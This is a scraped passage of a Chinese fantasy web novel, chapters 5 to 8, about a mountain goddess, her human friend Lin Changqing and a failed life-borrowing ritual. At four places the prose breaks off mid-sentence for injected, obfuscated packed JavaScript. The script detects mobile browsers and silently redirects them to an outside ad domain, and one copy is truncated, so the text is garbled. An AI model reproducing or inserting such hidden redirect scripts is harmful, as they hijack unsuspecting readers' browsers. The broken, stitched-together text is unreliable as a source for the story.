“他为什么要爱我？”眠云一脸茫然“难道他爱上别人以后我们就不能做朋友了吗？” “你觉得，你们是朋友？”孟姜险些把茶喷在地上，她不可置信的瞪大眼睛“你是认真的吗？” “当然，”眠云郑重点头“我们关系很好不是吗？按照人类对于关系的称呼，我们应该是朋友吧？难道他没有把我当朋友？” “没事，”孟姜一脸复杂的看着眠云，她觉得刚才苦口婆心的自己好像一个傻子，毕竟眠云对人类关系的了解还没到那么复杂的程度，这种微妙的情感，人类自己都很难说清楚，更别说眠云了“你说的对。” 77. 第5章 孟姜来的快去的也快，在眠云还没搞清楚她到底想干什么的时候，她就逃也似的离开了，只留眠云和花花一神一猫对视，两相无话。 “她到底是来做什么的？”眠云有些迷茫的晃了晃花花的爪子“算了，不重要，若是真有什么要紧的事她肯定会再回来。” 接下来的几个月都无人造访岐山，这让眠云感觉有一点太安静了，可很快她就把这件事抛在脑后，毕竟一直以来岐山都是这样。 “花花，你觉得下一个来岐山的人会是谁？又会是什么时候呢？”眠云摸了摸花花的脑袋，自言自语道“嗯……或许是明天？后天？下个月？” “救命！救命啊——” 一声惊呼打破了岐山的寂静，眠云抱着猫，慢吞吞的飘到那人面前说“你放心，这里很安全，你需要什么帮助吗？” 刚刚求救的人是个二十四五岁的青年，书生打扮，穿着普通的蓝白长袍，背着一个书篓。他看起来很狼狈，身上都是泥水，脸上还有擦伤和血痕，可能是被袭击了？ 想到这儿，眠云甚至懒得去看对方的记忆，毕竟这种情况下的愿望无非是脱困，毕竟哪怕他想要其他东西，也得有命用才行。 “姑娘，快跑啊！”那书生急急忙忙的吼道“是山匪！有山匪劫道！” “这里是岐山，我是岐山山神眠云。”眠云顺手用了个小法术，让书生冷静下来“你可以向我求助，但也要付出相应的代价作为交换，你愿意吗？” “愿意愿意，还请姑娘救救在下。”书生忙不迭的点头，他这个人正经文章读的不多，平日里就爱看些狐鬼妖神之流的话本子，见眠云容貌异于常人，他也没有多少怀疑，直接就信了对方。 “行，”见这书生这么快就接受了，眠云也没啰嗦，直接查看了对方的记忆，看到一半，她的脸色逐渐变了变，提高音量说道“有人和你一起被追杀？” “啊……是！”书生被吓了一跳，差点儿再次跌倒在地“我们一行人是同窗，因为林师弟此次高中状元。大师兄要为林师弟庆贺，我们才去三十里外……” “行了，我现在就送你回去！”眠云把一个草编蚂蚱放到书生手中“有了这个东西，山匪不会注意到你，你只要跑回城中就安全了，作为交换，你要救下林长青，并且告诉他，此事是大师兄故意为之，知道了吗？” “知……知道，我定不会负姑娘所托。”兴许是眠云气势太盛，书生又被吓的一颤，他还没来得及再说些什么，就直接回到了被追杀的山上，他握着手中的草编蚂蚱，咬了咬牙，朝着山匪最多的地方冲了过去。 眠云抱起花花撸了几下，心情仍不太好，她刚刚怎么忘了，应该让那个书生多带一只草编蚂蚱给林长青，可现在人已经被她推出去了，她又没办法出岐山，这可怎么办好？ ……不对，好像有哪里不对。 林长青手里有那只翠色绞丝镯，他可以随时进入岐山，外面现在这么危险，他为什么不过来？难道是绞丝镯被损坏了？ 也不是没有这个可能，毕竟那只镯子只是一截藤蔓所化，虽然比一般的玉石坚韧，但如果费些力气，也是能被打碎的。 怀着各种各样乱七八糟的想法，眠云终于在太阳快落山的时候见到了林长青，此时的林长青已经收拾好一切，除了尚还苍白的唇色，其余皆看不出有什么不对劲的地方。 “……怎么这个时候才来？”眠云微微皱眉，面色略有不悦，最终还是说道“下次有危险的时候，记得直接用你的手镯来岐山就行，我会帮你解决。” “……姐姐，”林长青十分勉强的笑了一下，看起来很没精神“不要生气，我听姐姐的就是了。” “我没生气，”眠云摇头，她走上去，莹绿色的光点覆盖在林长青身上“只是，如果你要离开的话，可不可以告诉我。” “为什么？”林长青笑了笑，眼睛亮晶晶的“我对姐姐来说很重要吗？” “重要，”眠云毫不犹豫的点头“你是我第一个，也是唯一一个朋友，你们人类不都说朋友很重要吗？” 实际上，眠云并没有考虑过太多，她不是人类，反而不会瞻前顾后，重要就是重要，无论是朋友还是旁的，只要她确定这个人对她来说很重要不就足够了吗？ “姐姐……”林长青嗫嚅着叫了一声“我……” 他不知道该如何说，虽说他向来是开朗的性子，也不吝于表达自己的心意，可若这份心意会给心仪之人带来灾难，那就另当别论了。 “好了，”眠云放开在他肩膀上的手，眼神从他面上扫过“怎么样？伤口还疼不疼？” 虽然在眠云的帮助下，林长青的身体与正常人无异，但他考的是状元又不是武状元，哪怕年幼时为了强身健体而学过几招，也敌不过山匪人多势众。 纵使后来眠云让那书生去救，林长青身上多多少少也有些伤。 “不疼，本来就只是小伤而已，”林长青含糊过去，又问道“姐姐，今天来救我那个人……” 那个人和他虽是同窗，却也没多少交情，又怎么会冒险救他，直到他听那人说是一仙女要救他，他才反应过来，应当是眠云的叮嘱。 “是啊，”眠云有些生气的瞥了林长青一眼“若不是他，我恐怕还不知道你被山匪袭击了，到这种时候，你怎么还逞强起来了？难不成我会不让你躲在岐山吗？” “当然不是，”林长青笑容灿烂“我就知道姐姐最好了，其实我也只是一时忘了而已，这次是我错了，姐姐就原谅我，莫要同我计较了，好不好？” 在这次见面之前，林长青其实已经下定决心与眠云不再相见，只是时也命也，他也没想到，眠云竟会委托旁人来找他，这是不是说明，在她心里，他多少是有些份量的？ “我并未生气，”眠云微微抿唇“只是……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178233|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 只是她自己也说不上来自己是何种感觉，似怒似忧，又二者皆非。 “喵——” 一旁的花花左看看右看看，忽然发出一声喵叫，轻巧的跳入眠云怀中，用脑袋蹭了蹭眠云。 “花花好呀，”林长青笑着和花花打了声招呼，又说道“花花今天怎么了？我记得它以前不怎么粘着姐姐，更喜欢满山乱跑来着。” “它快要开灵智了，”眠云摸了摸花花的脑袋“用你们人类的话来说，就是……像小孩子快要学说话了一样。” “花花可以说话吗？”林长青懵懵懂懂的点点头“那花花岂不是成了小猫妖？” “不是妖，是灵兽。”眠云纠正道“普通动物得开灵智，开始修行，化为人形以后称为妖，而灵兽虽天生受天地喜爱，却只有兽形，哪怕日后会说话了，也是兽。” “原来是这样，”林长青颇为惊奇的点头“也就是说，花花永远都是漂亮小猫喽。” “喵∽” 听懂林长青在说什么的花花惬意的甩了甩尾巴，难得看了林长青一眼，露出了一个赞赏的眼神。 “嗯，”眠云倒是没察觉出什么，她只认真道“以后你来教花花说话吧，我记得你最会读书了，若是你来教它的话，说不定还能教出个猫状元来呢。” “小猫的爪子也能写字吗，”林长青心中一动，伸手捏了捏猫爪“那花花可要加油啊，毕竟姐姐那么厉害，花花也不能落下。” 先不说人类的科举不可能让一只猫去考，即使花花能过去，它的爪子也握不住笔，姐姐这么说，已经算是难得希望他留下来的话，他又怎么拒绝的了？ “当然，”眠云露出一个笑来“花花这么聪明，肯定很快就能学会。怎么了，你看我做什么？” 眠云有些疑惑的看向林长青，从刚才开始林长青就一直呆愣愣的盯着她看，这可真是少见。 “姐姐，”林长青的声音很轻“你笑了。” 虽说只是转瞬即逝的轻笑，可对于眠云来说却弥足珍贵，毕竟她别说笑了，就连有表情的时候都少得可怜。 “我笑了吗？”眠云愣了一下，摸向自己的脸“兴许吧，虽说神有别于人类，但人类该有的零部件神族都有，我会笑应当也算不得什么稀罕事。” “当然算，”林长青郑重其事的说道“姐姐还记得，十年前，姐姐曾承诺过，要笑一笑吗？” “啊，这个我记得。”眠云点头，这是她少见的，没有完成的交易“那我现在算是遵守承诺了？” “嗯嗯，”林长青含笑点头，他走近几步，微微俯身，将眠云散乱的长发理整齐“遵守承诺的确是一件很值得高兴的事，不过比这更值得高兴的，是姐姐觉得开心。” 开心吗？ 眠云微微侧头，她不太理解开心是什么含义，不过在见到林长青以后，她的确感觉有哪里不一样，或许，这就是开心的？ 78. 第6章 孟姜总觉得有哪里不对，这种别扭的感觉让她万分不适，即使回到奈何桥的时候都感觉浑身难受。 “孟孟。” 与孟婆私交甚笃，在她手底下工作的鬼官小池笑着问道“你这出去一趟怎么还忧心忡忡的回来？难不成是生了什么天塌地陷的大事？” “不是什么大事，却是一件烦心事。”孟姜回过神来，笑着说道“我这次出去是为了见一个小山神，那小山神年纪尚小，竟也和人类走的颇近，我怕她又走了我的老路，便想着去劝一劝。” “年轻人嘛，总是会重蹈覆辙。”实际上当鬼还没有一千年的小池老气横秋的感慨道“要我说，人类有什么好，我活着的时候便觉得人类是这天底下最坏最坏的东西，死后哪怕在地府当个鬼官，日日给你干活，我也不要再当人了。” “少在这儿胡扯，难道我对你还不够好吗？”孟姜笑骂道“你个小不点儿，还没有那个小山神年纪大呢，还在这儿感慨上了？” “非也非也，”小池摇头晃脑的搅着锅里的汤“我虽不如神仙长命，生前却是人类，人类三十而立，我死的时候已有三十四岁，怎的也比如初生孩童一般的小神强些吧？” “这倒也是，”孟姜叹了一声“神虽寿长，却也迟钝，若是不与人接触，几万岁也是孩童心性，更何况我看那个小山神也没有几万岁，可能连几千岁都没有。” 孟姜可是存在很多年的神了，这种小事她自然不会看不出来，虽说神与神之间也没什么同类情可言，但她还是好意提醒了一番。 想起之前的经历，孟姜感觉好像总有什么她没注意到的地方，眠云好像有了一点儿很微妙的改动，具体是什么，她又想不起来。 “我记得神刚刚诞生的时候虽然都是人形，但也有一部分和人类不一样的吧？比如有的神是龙首，或者有鸟爪、蝠翼之类的。”小池手上的动作不停，随意说道“你若忧心，不妨看看那个你新认识的山神与人类有多少相似，你不是说过，神族心态越像人，形貌就会越像人吗？” 形貌？对，对了，就是这个！ 眠云与人类有异的地方是头发，她的头发不是像人类一般轻柔细密的发丝，而是藤蔓，藤蔓与岐山相连，虽能让眠云知晓岐山的每一处角落，却也束缚了她，让她永远不得离开岐山。 十年前孟姜见过眠云，她自然注意到了眠云的头发是藤蔓，不久前她见过的眠云，头发虽仍旧与人类有些差异，却也不再是纯粹的藤蔓了。 “我还是去的太迟了，”孟姜想要立刻起身去岐山，半晌后却又长叹一声，退了回来，她自己经历过，当然也知道，这种事只要一但开始，堵是堵不得的“她……已经很像人类了。” 如果不细看的话，那一头幽绿色，细密如长绳般的藤蔓，与人类的头发差异已经不算大了。 “那你还说什么？”小池手上停顿了一下，随即翻了个白眼，她向来是有话直说的性子“反正你们神不像人一样容易死，等哭过了闹过了，慢慢也就好了。” 就像孟姜，最初见到那个与她相爱至深，却又已经换了个模样的人时总是一言不发的默默流泪，可现在，她只是每过几十年就去看上那人一眼，若非她次次不落，小池都以为她早就忘掉那个人了。 “你就当是我爱多管闲事吧，”孟姜看向奈何桥，语气淡淡“一碗孟婆汤，前尘往事尽，这些年我不知分离了多少有情人，可每次看到这种戏码的时候，我仍旧会感觉悲痛，替分离的有情人，也替我自己，或许我不止是想救她，而是……” 而是想救当初那个痛苦的自己。 听到这儿，小池已明白孟姜的未尽之语，她叹息一声，虽然她生前作为亡国公主，辗转于各个男人之间，对爱情嗤之以鼻，但……看过这么多年的亡魂，她大概也能理解孟姜。 “想做就做呗，”小池故作轻松的说道“毕竟你们神又没有寿命限制，一时兴起睡个几百上千年也是有的，就这种小事，你还纠结什么？” 孟姜笑了笑，没有说话，其实有一件事，所有人包括小池都不知道，那就是在爱人死去之后，她曾费尽心思寻找过死而复生之法。 生死乃天之定数，神亦不可扰，违反天道的事神做了反而会引来更重的天罚，不过年轻时候的孟姜可不管这个，她还真弄来了死而复生之法。 只要收集生、老、病、死、怨憎会、爱别离、求不得、五阴炽盛八苦，就可以使凡人超脱于六界之外，成为非鬼非人、非神非妖的存在。 至于为什么没用，倒不是孟姜怕天罚，而是光收集这个方法就花费了她上千年的时间，这期间她的爱人早已走了几番轮回，不再是她认识的模样，她知道，哪怕她用了这个方法，她的爱人也回不来，所以便放弃了，只每次在对方轮回的时候过来看上一眼。 时隔多年，孟姜几乎已经忘了这个方法，可在见到眠云的时候，她竟奇迹般的又想了起来，或许这就是命吧，她的失去已是注定，可……眠云未尝不能与天争。 这边孟姜想天想地，另一边的眠云却什么都没想，或者说以她现在对什么事都懵懵懂懂的脑子，很难想到这么复杂的事。 岐山很久都没有来过客人，今日凑巧，来的是一对父子，说是父子，年纪差距却很大，父亲已经白发苍苍，儿子却还只是个少年。 “你是说，可以让我继续活下去？”老人眼中散发出狂热的光芒，他枯瘦的身体像一张绷紧了的弓。 “可以，”眠云漫不经心的看了他一眼，她不是很喜欢这个人，所以开口道“五换一，双方必须自愿才能成立，你要换吗？” “咳咳！换！……咳咳！咳！” 老人剧烈的咳了起来，他神情激动的说道“姑娘可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15191662|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 否等我几日，我多叫几个人来。” ……这个老人看起来并不讨喜，竟有这么多人愿意为他付出性命吗？ “姑娘放心，”老人旁边的少年见眠云沉默，连忙说道“我父亲不是什么坏人，他说多找几个人，不过是仰仗家里有几分薄面，找几个恶徒罢了，那等作奸犯科之人，纵使死了也不可惜。” “我说过了，双方必须自愿。”眠云神色淡淡，她对外人向来都是这样“那些恶徒想来都是凶恶狠毒之辈，如何能自愿？” “这……姑娘有所不知，恶徒也有家人，如果我们家拿出些钱财来，替他们赡养亲人，他们中定会有愿意付出性命的。”少年言辞恳切的说道“如此一来，我父得了生路，那人的亲人得到赡养，恶人也死得其所，岂不一举多得？” “可以，”眠云微微点头“看在你说的是实话的份上，我也提醒你一句。” “借寿切莫贪心，因为寿命可以借，健康却借不来，如果你的身体情况不佳，寿命却又还有的话，那就会一直受重病折磨，这种情况，不会比死了更舒服。” 就像很多绝症患者最后都求死一样，毕竟重病实在太难受了，若太贪心，寿命借了太多又死不了，就是活受罪。 “我明白了。”少年明显听明白了眠云的意思，他连连点头。 老人也褪去了刚才的狂热，看了眠云一眼说道“姑娘可否告诉老朽，老朽还有多少寿，身子又能撑多久？” “你的寿命只剩下一年，”眠云随意晃了晃茶杯，这茶还是林长青从外面带来的“至于身体嘛，老爷子，你这身子骨可不怎么样，最多撑不过十年，保守点儿估计，恐怕七八年就得躺在床上动弹不得了。” 眠云也有点儿好奇这个老人的选择，毕竟人越老越怕死，看这个老人的表现，也不是不怕死的样子，他到底会怎么选？是七八年？十年？还是更久？ “老朽明白了，”老人点头道“请姑娘为老朽延寿五年，人老朽会尽快带来，不知该如何联络姑娘？” “你这个人还算有分寸，”眠云手指一动，一截藤蔓落进老人手里“拿着它，只要想找我的时候，就能找到。” 面对如此神异的一幕，老人面不改色的接下来藤蔓，再次道谢过后，他沉默了一段时间说道“姑娘，说好为我延寿五年，就不要再改，到时候哪怕我后悔，也不能改。” 人终究是怕死的，即使是像老人这样位高权重的人也怕，他怕他对死亡的恐惧战胜对瘫痪在床的恐惧，于是他强迫自己下决定，这五年已经是偷来的，不能再多了。 “行，”眠云微微挑眉“五年就五年，没有再改的余地。” 这老人确实是有些魄力的，毕竟这样的决定，不是谁都能轻易定下。 老人点点头，他嘱咐了身后的年轻人推轮椅以后，便头也不回的离开了岐山。 79. 第7章 老人没过几天便带着一个杀人犯来到了岐山，眠云在确定那人是自愿的以后，便将他的寿命转给了老人，这件事就此结束，却给了眠云一个思路。 “林长青。”再次见到林长青的时候，眠云少见的叫了一声他的名字，并将这个老人的事讲给他听。 “或许，你也可以用这样的方法，”眠云沉吟片刻后说道“毕竟你的家世还算显赫，找一个杀人犯，应该不算难吧？” 虽然林长青只是出身富商之家，远比不上之前那老人位高权重，可他有天然的时代优势，在林长青所处的古代，杀过人的山匪可不算少，只要抓来几个威逼利诱，难免有人会松口。 “这的确是个办法，”林长青沉思了一会儿道“或许我可以试试。” “记得选大恶之人，必须是杀过人的。”眠云松了一口气，接着说道“夺人寿命难免产生因果，影响道运，除了真心实意愿意的人，这种大恶之人产生的因果最低。” 这就类似于古代杀掉官府的通缉犯不仅不用负责，还能领一笔赏金一样，虽说借寿等同杀人，有违天道，但杀恶人也是惩恶扬善，影响不大。 “好。”林长青点头，随后他又笑看向眠云“姐姐，你希望我活着吗？” “当然，”眠云莫名其妙的看了林长青一眼，她感觉最近林长青说话好像越来越奇怪了“你是我最好的，也是唯一的朋友，虽然人类寿命短暂，但我还是希望你能活长一点。” 虽说百年时间对眠云而言也不长，但总比只有短短二三十年好得多。 “我明白了。”林长青沉默着点点头，明明是关乎他性命的事，他却没有很在乎，只是点头。 找一个恶贯满盈的犯人不难，说服这样的人却要花些时间，尤其是林家从商，钱财虽不缺，权利上却始终差了些，所以前前后后差不多一个月的时间才办妥当。 林长青带来的山匪并不是普遍印象中五大三粗的男人，相反的，他身形矮小，看着很普通，若是走在大街上，很难想象这样一个人竟会是杀人越货的山匪。 为了保险起见，眠云查看了林长青带来山匪的记忆，这男人的经历在山匪中也算是很寻常的。 他本是一普通村民，家乡发了大水，实在没有粮食，便和同乡落草为寇，做山匪的，自然不可能没杀过人。 这人同意借寿的原因也很简单，他本就是手上沾过人命的山匪，被抓送到官府也是死罪，而他家中尚有一老母无人赡养，所以他与林家做了这笔交易，虽然同样是死，但林家会帮他赡养老人，让老人安度晚年，某种意义上也是死得其所了。 “还可以。”眠云微微点头，虽说这个山匪在她看来还不够恶，但想想真正穷凶极恶的人也很难说服，他好歹杀过两个人，勉强够用。 “李三，”眠云叫出了他的名字“我问你，你可是自愿将寿命借予林长青的？” 这倒不是眠云不想借寿，而是必须得到对方的同意后她才能动手。 “是……是，”李三颤抖了一下，他实在不像一个山匪，反而像个老实巴交的村民“我、我是自愿的。” 在能活的情况下谁想死？李三知道，做他这一行，手上沾了人命，只要被抓了定是要死的，与其让官府就这样把自己砍了，还不如和林家做一笔交易，让自己的老娘安度晚年。 作为山匪，李三其实没那么胆小，只是眼前这一切实在超过了他的认知，尤其是眠云一副非人类的模样，死不可怕，要是被这山中女妖折磨死，那就是人间惨剧了。 “行，”眠云点头说道“跟我过来吧。” 眠云在前面带路，走过两条栈道，便有一座古宅矗立于山间，宅子面积不算大，装修却颇为清雅，加之周围风景秀丽，大有隐士之风范。 说起这宅子，倒是另有一个故事。 眠云身为神，自然是不用睡觉的，其实就连岐山的栈桥和亭台都是她根据人类的习惯修建，而林长青是人类，做不到长期不休息，尤其是他与眠云刚刚相识的时候还只是个小孩子，就更容易累了。 眠云虽然不太懂情感，但她还是有常识的，就打算修一座宅子以供林长青休息。 只是眠云的审美吧……好听点儿说叫尊重自然，直接点儿说就是很原始，就连林长青第一次看到眠云所修建的由树藤构成的房子时都差点儿没绷住表情。 毕竟那全是窟窿的房子别说是遮风挡雨了，就连挡太阳都有点儿费劲，实用性还不如山上的凉亭，大概只有眠云这般完全不需要生活的人才能住在这里吧。 年幼的林长青好不容易向眠云解释清楚了房子的作用，又亲自画了图纸，这才让眠云这个脑洞大开的建筑大师放弃她不靠谱的想法，转而盖了间普通屋子。 老实说，这间宅子还算清雅漂亮，只是隐匿于树林之间，在李三这样的普通人看来难免有些鬼气森森，不知他脑补了些什么，在进入宅子的时候，他身体都要抖成筛子了。 “到了，”眠云不会理会那些小事，只将林长青关在门外，找了个安静的房间，指着一张床说道“躺下吧。” “……大仙，”李三哆嗦着躺下，明明身下是柔软的床铺，他却感觉浑身像有针在刺一样难受“我、我我我，我怕疼，大仙能让我死个痛快不？” 眠云:“……” 大仙是谁？ “放心，我没兴趣折磨你，”眠云非常无语，开口时却淡然“你躺着就行，也不需要多长时间。” 李三战战兢兢的躺好，他闭上眼，感觉有一股力量在拉扯自己的身体，他明明躺在床上，灵魂却像是要飞出去一样，轻飘飘的。 这个过程并不算疼，却令人毛骨悚然，毕竟一个大活人，如果没了魂的话，岂不成了孤魂野鬼？ “不……”李三嘴里发出含糊的声音，“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197248|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要，我不想死，我不要借人寿命。” 李三的声音很小，他只是本能的抗拒未知的危险，可落在眠云耳中，这声低语却犹如晴空炸雷，让她浑身一震。 按理来说，借寿必须自愿，否则就是邪法，无论借寿者何时反悔，借寿法术都必须立刻停下，可……只差一步，眠云只差一步就能把这个人的寿命取走了，她真的要现在停下，然后让这个人离开吗？ 几乎是片刻之间，眠云就做出了选择，她不退反进，想要直接将李三的寿命取走，和她动作同步的，是天雷的声音，向来晴朗的岐山蒙上了一层厚厚的乌云，乌云之中雷光闪烁，看着竟有毁天灭地之势。 “你疯了！” 刚刚来到岐山，就看到天罚的孟姜一下子上前拍开眠云的手，她活了这么多年，神力自然是要比眠云强的，更何况眠云毫无防备之意。 “纵使你有什么计划，也不该轻易引天罚。”孟姜皱起眉头，她不确定眠云这个后辈的计划是否靠谱，毕竟天罚可不是好受的“刚才你在干什么？” “……没事。”眠云沉默了一会儿，她并没有解释，只是说道“刚刚手慢了些，没来得及收手。” 说罢，她便转身推门而出，林长青立刻迎了上去，他又不聋不瞎，自然听得到刚刚的响动，只是怕忽然闯入坏了事，才在门外一直没有进来。 “姐姐，你没事吧？”林长青上前拉住眠云的手“刚刚发生了什么？姐姐受伤了吗？” “没事，”眠云慢慢摇了摇头，随后缓缓说道“抱歉，借寿的事，没能成功。” 眠云并没有多说什么，她不擅长解释，更何况她现在心情并不怎么好。 “好，”林长青作为小小年纪能考上状元的人，自然非常聪明，也很懂察言观色，见眠云不想提，他立刻歇了继续问的想法，转而说起旁的“姐姐不是说我上次带来的茶味道不错吗？这次我多带了几种，姐姐看看喜欢哪个？” “嗯。”眠云低低的应了一声，她很少拒绝林长青，即使在不高兴的时候也是一样。 还在屋子里的孟姜见眠云没有和她说话的意思，无奈的叹了口气，她倒不至于生气什么的，只是有种孩子太叛逆的无奈。 至于床上昏过去的人，孟姜就没那么好的性子了，她一抬手，手上出现了一本册子，确定这人是个匪徒之后，她直接将人丢到了人界官府门口，又将他的罪行写了一遍，只待官府的人发现他，再用人类的律法将他处决。 解决完这一系列事情以后，孟姜拍拍手又回了岐山。 今天的事虽是意外，却也让孟姜看清了眠云的性子，这般痴执之人，若想她放弃，那可比登天还难，若不放弃，与其让她像个无头苍蝇一样到处乱撞，倒不如自己提点一二。 虽然违反了天道总归要受天罚，但比起治标不治本的方法，还是孟姜耗费千年寻来的法子更有用些吧？ 80. 第8章 “我真的想不通你这孩子到底在想什么，”孟姜从林长青那里了解了今天的事以后，大概能猜出事情的前因后果“那李三不过是个贪生怕死的小人物，离了他还有旁人，你何必强求？” 借寿这等阴损法术终归不是正途，说是借，其实就是夺命。 神族虽然力量强大，可限制也多，一般情况下不能杀人，眠云刚刚强行施展借寿法术，等同于杀人，怪不得天罚立刻就到了。 “……没什么，”眠云沉默着，她本不想回答，但见孟姜坚持要问出一个答案，只好实话实说“我没有想过什么，只是想做便做了。” 身为神族，眠云不屑伪装，喜悲纯粹，她是怎么想的，就是怎么做的，纵使面临天罚，也不曾改变。 “初生牛犊不怕虎，”孟姜无奈扶额“这种程度的天罚的确不至于要了你的命，但你若沉睡个几百年，别说你本来的目的了，几百年后那个人类早就化成灰了。” “……” 似乎是没有想过这个问题，眠云沉默了下来，半晌之后她才慢吞吞的说道“好像是这样。” “什么好像？这就是事实！”孟姜起急，上前点了点眠云的眉心“你这个小呆瓜，没学会走路就想着跑，连人类的情感都没搞懂还考虑上那么复杂的事了。” 不同于人类，神族会在漫长的时间里才能领会情感、利害种种含义，眠云一个新神，对这些事所知甚少，却又偏偏反骨，什么事都敢做，还真是…… “算了，反正这件事已经过去了。”孟姜见眠云没反应，叹息一声又坐了下来“你喜欢那个人类，可你应该知道，人类的寿命很短，纵使你给他续了命，他最多不过陪你百年罢了。” “我当然知道，”眠云神色淡淡“我见过人类，也知道他们的寿命，你对我说这个做什么？” “……难道你不想让那个人类一直陪着你？”孟姜挑了挑眉，难得生出了一点儿恶作剧的心思“你要是再对我这么冷淡，我可就不告诉你能让你们永远在一起的办法了。” “我的确希望他能陪我更久一点，”眠云表情依旧很淡，丝毫没有被孟姜的话语所影响“但能决定陪不陪着我的人，不应该是他吗？” 心思纯粹的新神并不明白很多大道理，但有些事，她比所谓阅历高深的人看的更清楚。 一个人有决定自己如何做的权利，包括生死、情感、要不要陪在某人身边，而旁人不应该干涉这个权利，纵使是神，也不应该强求某人一定要做什么。 “……” 听到眠云的话，反而轮到孟姜怔住，她的确没有问过林长青想不想活，而是直接问了眠云想不想让林长青活着。 “……我明白了，”孟姜点头叹息“是我想岔了，我冒昧问一句，你们现在是什么关系？” “朋友，”眠云毫不犹豫的说“我们是最好的朋友。” “朋友？”孟姜又看了眠云一眼，眼神古怪“你觉得你们是朋友？” “难道我们不是吗？”眠云反问道。 “……你可知，人类之中有一种关系，叫做夫妻。”孟姜神色愈发古怪，她对眠云的印象总是在通透也不太聪明之间徘徊。 “知道啊，”眠云随意答道“人类不像神族一样由天地中诞生，而是必须自行繁衍，选择相互繁衍的人类，就被叫做夫妻。” “……” 倒也没错，只是这解释未免太硬核了些。 “我是说，”孟姜深吸一口气道“你知道什么是爱情吗？” “爱情？”眠云微微侧头，沉思片刻说道“嗯……不太清楚，毕竟人类的情感很复杂，就连人类自己对爱都没有一个明确的定义。” “……” 好像也没什么毛病。 “我有时候真的不知道，你到底是不懂还是太懂，”孟姜不知道第多少次叹气“我是没法说服你了，算了，还是等你真正有了决断，我再来找你吧。” 眠云不太明白孟姜为什么又忽然放弃，但她并不是爱强迫别人的性子，只点点头，便让孟姜离开了。 许是担心眠云的身体，林长青没过多久就再次赶了过来，他没有多问那天发生了什么，只是又找了些有趣的小东西送给眠云。 “你们人类还真是奇怪，”眠云捏了两下林长青带过来的皮老虎，眼里有些稀奇“这东西看起来有点儿丑，而且也不像老虎，为什么要叫皮老虎？” “姐姐看这里，”林长青笑着指了指皮老虎泥塑的部分“这是一张老虎的脸，还有虎纹呢，之所以做的凶神恶煞，是因为这种玩具大多是卖给小孩子的，人们相信凶恶的东西能吓走鬼神，保佑孩子平安长大。” “鬼神可不会怕这种小玩意，”眠云淡淡的吐槽了一句，随后又说道“林长青，你知道什么是爱情吗？” “咳！咳咳咳！” 正在喝茶的林长青被眠云吓了一跳，又被茶水呛到，猛地咳了起来。 “怎么了？”眠云不解的看了他一眼，动了动手指，绿色的光点没入林长青的身体“不舒服？生病了？” “没有，”林长青摇摇头，他低着头，尽量让自己心情平复下来，过了半晌才开口说道“姐姐……怎么会忽然问这个问题？” “嗯……其实我很早之前就想问了，”眠云姿态随意，甚至有些漫不经心的说道“毕竟我对人类的情感产生了兴趣，爱情也是情感的一种，而且是很复杂的情感，我想了解一下。” “我想，爱情是相当珍贵且稀有的。”林长青看向眠云，缓缓说道“虽然爱情在人类之间常被提起，但只有极少数人才拥有。” “这点我倒是很认同，”眠云点点头“我见过很多夫妻，他们之间的感情我想并不能被叫做爱情，很多夫妻甚至互相怨恨，诅咒对方早死。” 这并不是眠云在说瞎话，而是真的有人对她提出过希望丈夫/妻子死去的愿望，只是眠云不能杀人，对方才作罢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15202029|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “每个人对爱的理解不同，姐姐问我，其实只能得到我的答案而已。”林长青笑了笑，他表面上风轻云淡，实际却暗自攥紧了茶杯“姐姐想知道我的答案吗？” “想，”眠云眼睛一眨不眨“你有喜欢的人？那对你来说，爱情是什么？” “我很早之前就有了喜欢的人，”林长青笑着说道“可我并不指望她会喜欢我，所以过去对于我来说，爱情是如镜花水月一般，可望不可及的东西。” “那现在呢？”眠云没有忽略林长青口中的过去，既然过去是这样，那现在又有什么变化？ “现在？”林长青笑着眨了眨眼睛，看起来有几分调皮的说道“不告诉姐姐。” 眠云:“？” 她还真没想到，林长青竟然会这么说。 “……如果我说我想体验爱情呢？”眠云冷不防的说道“即使是这样，你也不告诉我吗？” 